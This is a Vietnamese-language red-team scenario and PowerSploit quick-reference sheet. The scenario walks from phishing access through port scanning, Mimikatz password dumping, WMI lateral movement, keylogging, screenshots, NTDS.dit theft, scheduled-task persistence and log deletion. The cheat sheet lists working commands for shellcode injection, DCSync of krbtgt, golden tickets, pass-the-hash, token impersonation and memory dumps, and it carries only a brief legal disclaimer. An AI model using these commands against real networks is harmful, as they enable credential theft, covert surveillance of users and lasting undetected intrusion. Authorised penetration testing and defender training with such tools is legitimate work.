Tình huống: Một nhóm red team được thuê để đánh giá bảo mật của một công ty trung bình. Họ đã có được quyền truy cập ban đầu vào một máy trạm thông qua một cuộc tấn công lừa đảo email. Mục tiêu của họ là mở rộng quyền truy cập, thu thập thông tin quan trọng, và duy trì quyền truy cập lâu dài mà không bị phát hiện.
Các bước thực hiện:
- Trinh sát ban đầu:
- Sử dụng Invoke-Portscan để quét mạng nội bộ, xác định các máy chủ và dịch vụ quan trọng.
Invoke-Portscan -Hosts 192.168.1.0/24 -TopPorts 100
- Khai thác thông tin đăng nhập:
- Sử dụng Invoke-Mimikatz để trích xuất mật khẩu từ bộ nhớ.
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
- Di chuyển ngang:
- Sử dụng các thông tin đăng nhập thu được để thực hiện di chuyển ngang đến các máy khác trong mạng.
Invoke-WmiCommand -ComputerName "targetPC" -Payload { ... }
- Nâng cao đặc quyền:
- Tìm kiếm các lỗ hổng cục bộ để nâng cao đặc quyền trên các máy đã xâm nhập.
- Thu thập dữ liệu:
- Sử dụng Get-Keystrokes để ghi lại các phím nhấn trên máy mục tiêu quan trọng.
Get-Keystrokes -LogPath C:\temp\keylog.txt
- Sử dụng Get-TimedScreenshot để chụp màn hình định kỳ.
Get-TimedScreenshot -LogPath C:\temp\screenshots -Interval 30
- Trích xuất dữ liệu quan trọng:
- Sử dụng Invoke-NinjaCopy để sao chép các tệp hệ thống quan trọng như NTDS.dit từ Domain Controller.
Invoke-NinjaCopy -Path "C:\Windows\NTDS\ntds.dit" -LocalDestination "C:\temp\ntds.dit"
- Duy trì quyền truy cập:
- Sử dụng Add-Persistence để thiết lập các cơ chế duy trì quyền truy cập.
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -Daily
Add-Persistence -FilePath "C:\path\to\payload.ps1" -ElevatedPersistenceOption $ElevatedOptions
- Xóa dấu vết:
- Xóa các log và dấu vết hoạt động trên các hệ thống đã xâm nhập.
- Báo cáo:
- Tổng hợp các phát hiện, lỗ hổng, và đề xuất cải thiện bảo mật cho khách hàng.
Lưu ý: Scenario này chỉ mang tính chất minh họa và giáo dục. Trong thực tế, việc sử dụng các công cụ và kỹ thuật này phải tuân thủ luật pháp và được sự đồng ý của chủ sở hữu hệ thống.
Sau đây là các lệnh thông dụng của Powersploit
Bảng Tra Cứu Nhanh PowerSploit
- Bắt đầu
- Thực thi mã
- Khai thác dữ liệu
- Duy trì quyền truy cập
- Trinh sát
- Thông tin thêm
Tải PowerSploit: http://bit.ly/28RwLgo
Thực Thi Mã Invoke-ReflectivePEInjection sẽ tải phản chiếu một DLL/EXE vào powershell.exe hoặc một quy trình từ xa.
-PEBytes @(…): Một mảng byte chứa PE/DLL cần tải -ComputerName “comp1″,”comp2”: Tùy chọn – một hoặc nhiều máy tính từ xa để chạy script -ExeArgs “Arg1 Arg2…”: Đối số tùy chọn để truyền vào PE đã tải -ProcName <NAME>: Tên quy trình tùy chọn để tải PE vào -ProcId <ID>: ID quy trình tùy chọn để tải PE vào
Invoke-Shellcode sẽ tiêm shellcode vào powershell.exe hoặc một quy trình từ xa. Shellcode nên ở dạng mảng byte (ví dụ: 0xXX,0xXY,.. )
Để chuyển đổi một tệp shellcode thô trong Bash, chạy lệnh sau: hexdump -ve ‘/1 “0x%02x,”‘ file.bin |sed ‘s/.$//’
-ProcessID <ID>: ID quy trình để tiêm shellcode vào -Shellcode @(0xXX,0xXY…): Mảng byte của shellcode cần tiêm -Force: Công tắc, tiêm shellcode mà không nhắc xác nhận
Invoke-WmiCommand thực thi mã PowerShell trên (các) máy tính mục tiêu sử dụng WMI như một kênh C2 thuần túy.
-Payload { … }: Khối script cần chạy trên (các) mục tiêu -ComputerName “comp1”, “comp2”: Tùy chọn – một hoặc nhiều máy tính từ xa để chạy script -Credential $Cred: Đối tượng PSCredential tùy chọn để sử dụng cho thực thi từ xa (mặc định = người dùng hiện tại)
Khai Thác Dữ Liệu Get-GPPPassword sẽ giải mã bất kỳ mật khẩu nào được tìm thấy được đặt thông qua Group Policy Preferences.
Get-Keystrokes sẽ ghi lại các phím được nhấn (cùng với thời gian và cửa sổ đang hoạt động) vào một tệp.
-LogPath <PATH>: Đường dẫn cho tệp nhật ký đầu ra, mặc định là $Env:Temp\key.log -Timeout <X>: Thời gian (tính bằng phút) để ghi lại keystrokes. Mặc định là vô thời hạn.
Get-TimedScreenshot sẽ chụp ảnh màn hình theo khoảng thời gian và lưu chúng vào đĩa.
-LogPath <PATH>: Đường dẫn thư mục để lưu ảnh chụp màn hình -Interval <X>: Khoảng thời gian (tính bằng giây) giữa các lần chụp ảnh màn hình -EndTime HH-MM: Thời điểm script nên dừng chạy, định dạng HH-MM
Invoke-Mimikatz sử dụng Invoke-ReflectivePEInjection để tiêm Mimikatz vào bộ nhớ. Mặc định, nó sẽ chạy mô-đun sekurlsa::logonpasswords.
Để cập nhật mã Mimikatz, chọn mục tiêu biên dịch “Second_Release_PowerShell” trong dự án Mimikatz, biên dịch cho cả Win32 và x64, base64 –w 0 powerkatz.dll, và thay thế các chuỗi DLL base64 trong Invoke-Mimikatz.
-ComputerName “comp1″,”comp2″: Tùy chọn – một hoặc nhiều máy tính từ xa để chạy script -Command ‘”CMD1” “CMD2″‘: Lệnh Mimikatz tùy chỉnh (lưu ý: đặt trong dấu nháy đơn)
Các lệnh Invoke-Mimikatz tùy chỉnh hữu ích:
Trích xuất hash MSCache: ‘”token::elevate” “lsadump::cache” “token::revert”‘
Xuất vé Kerberos dưới dạng blob base64: ‘”standard::base64″ “kerberos::list /export”‘
DCSync hash KRBTGT cho ‘domain.local’: ‘”lsadump::dcsync /user:krbtgt /domain:domain.local”‘
Sinh ra một quy trình với thông tin đăng nhập NTLM thay thế: ‘”sekurlsa::pth /user:user /domain:domain.local /ntlm:<NTLM> /run:cmd.exe”‘
Bộ tạo Vé Vàng của Willy Wonka: ‘”kerberos::golden /user:<USER> /krbtgt:<NTLM> /domain:domain.local /sid:<DOMAIN_SID> /ptt”‘
Xóa vé Kerberos: ‘”kerberos::purge”‘
Invoke-NinjaCopy có thể sao chép các tệp bị khóa từ một hệ thống bằng cách mở quyền truy cập đĩa thô và phân tích cấu trúc NTFS. Điều này hữu ích để sao chép những thứ như NTDS.dit và SYSTEM hives.
-Path C:\Windows\NTDS\NTDS.dit: Đường dẫn đầy đủ của tệp cần sao chép -LocalDestination C:\Temp\NTDS.dit: Đích đến cục bộ để sao chép tệp -RemoteDestination C:\Temp\NTDS.dit: Đích đến trên máy chủ từ xa để sao chép tệp -ComputerName “comp1”, “comp2”: Tùy chọn – một hoặc nhiều máy tính từ xa để chạy script
Invoke-TokenManipulation thao tác với token và tương đương với Incognito.
-Enumerate: Công tắc. Liệt kê các token duy nhất có thể sử dụng -WhoAmI: Hiển thị thông tin đăng nhập hiện tại cho quy trình powershell.exe -RevToSelf: Công tắc. Quay lại ngữ cảnh token ban đầu -ShowAll: Công tắc. Hiển thị TẤT CẢ các token -CreateProcess “cmd.exe”: Tạo một quy trình thay thế với một token đã cho – sử dụng với Username/ ProcessId/ThreadId -Username <X>: Chỉ định token để mạo danh bằng tên người dùng -ProcessId <Y>: Chỉ định token để mạo danh bằng ID quy trình -ThreadId <Z>: Chỉ định token để mạo danh bằng ID luồng -NoUI: Công tắc, sử dụng nếu quy trình được tạo không cần giao diện người dùng
Out-Minidump tạo ra một minidump bộ nhớ đầy đủ của một quy trình, tương tự như procdump.exe với công tắc ‘-ma’.
Ví dụ: dump bộ nhớ của tất cả các quy trình vào C:\Temp: Get-Process | Out-Minidump -DumpFilePath C:\Temp
-Process (Get-Process -Id 4293): Đối tượng quy trình cần dump bộ nhớ, có thể truyền qua đường ống -DumpFilePath .\file.dmp: Đường dẫn để lưu dump bộ nhớ, mặc định là .\processname_id.dmp
Duy Trì Quyền Truy Cập New-UserPersistenceOption xây dựng một bộ tùy chọn cấp người dùng có thể sử dụng bởi Add-Persistence
-Registry: Công tắc, duy trì qua khóa CurrentVersion\Run -AtLogon: Công tắc, chạy payload registry khi bất kỳ người dùng nào đăng nhập -ScheduledTask: Công tắc, sử dụng một tác vụ lên lịch cấp người dùng -OnIdle: Chạy tác vụ lên lịch sau một phút không hoạt động -Daily: Chạy tác vụ lên lịch hàng ngày -Hourly: Chạy tác vụ lên lịch hàng giờ -At HH:MM: Chạy tác vụ lên lịch tại thời điểm chỉ định
New-ElevatedPersistenceOption xây dựng một bộ tùy chọn nâng cao có thể sử dụng bởi Add-Persistence
-Registry: Công tắc, duy trì qua khóa CurrentVersion\Run -ScheduledTask: Công tắc, sử dụng một tác vụ lên lịch SYSTEM -PermanentWMI: Công tắc, sử dụng đăng ký WMI vĩnh viễn -OnIdle: Chạy tác vụ lên lịch sau một phút không hoạt động -Hourly: Chạy tác vụ lên lịch hàng giờ -AtLogon: Chạy payload tác vụ lên lịch/registry khi bất kỳ người dùng nào đăng nhập -Daily: Chạy tác vụ lên lịch/đăng ký WMI hàng ngày -At HH:MM: Chạy tác vụ lên lịch/đăng ký WMI tại thời điểm chỉ định -AtStartup: Chạy đăng ký WMI trong vòng 5 phút sau khi hệ thống khởi động
Add-Persistence thêm khả năng duy trì quyền truy cập vào một script.
-ScriptBlock {…}: Khối script payload -FilePath .\file.ps1: Tệp payload -ElevatedPersistenceOption $X: Tùy chọn duy trì quyền truy cập nâng cao -UserPersistenceOption $Y: Tùy chọn duy trì quyền truy cập cấp người dùng
Trinh Sát Invoke-Portscan là một công cụ quét cổng đơn giản đa luồng mô phỏng các tùy chọn của nmap.
-Hosts host1,host2,…: Các máy chủ cần quét, ở dạng tên máy chủ, IP, hoặc CIDR -Hosts 192.168.1.0/24: Các máy chủ cần quét, ở dạng CIDR -HostFile .\hosts.txt: Tệp chứa thông số máy chủ -ExcludeHosts host3, host4: Danh sách các máy chủ cần loại trừ, phân cách bằng dấu phẩy -Ports 21,80-100: Các cổng cần quét -TopPorts <50-1000>: Quét X cổng phổ biến nhất -ExcludedPorts X,Y: Loại trừ các cổng khỏi quét -SkipDiscovery: Coi tất cả các máy chủ là trực tuyến -PingOnly: Chỉ quét ping (vô hiệu hóa quét cổng) -Threads <X>: Số lượng luồng sử dụng, mặc định là 100 -Timeout <Y>: Thời gian chờ (tính bằng mili giây) cho mỗi lần kiểm tra cổng -nHosts <Z>: Số lượng máy chủ để quét đồng thời -T [1-5]: Tùy chọn hiệu suất, cao hơn là tích cực hơn -GrepOut <file>: Đầu ra có thể grep được -XMLOut <file>: Đầu ra XML -ReadableOut <file>: Đầu ra có thể đọc được -AllformatsOut <file>: Tất cả các định dạng đầu ra -quiet: Ẩn đầu ra console, hữu ích cho các lần quét lớn
Thông Tin Thêm https://github.com/PowerShellMafia/PowerSploit http://www.exploit-monday.com/ https://obscuresecurity.blogspot.com/ https://clymb3r.wordpress.com/ http://blog.harmj0y.net/


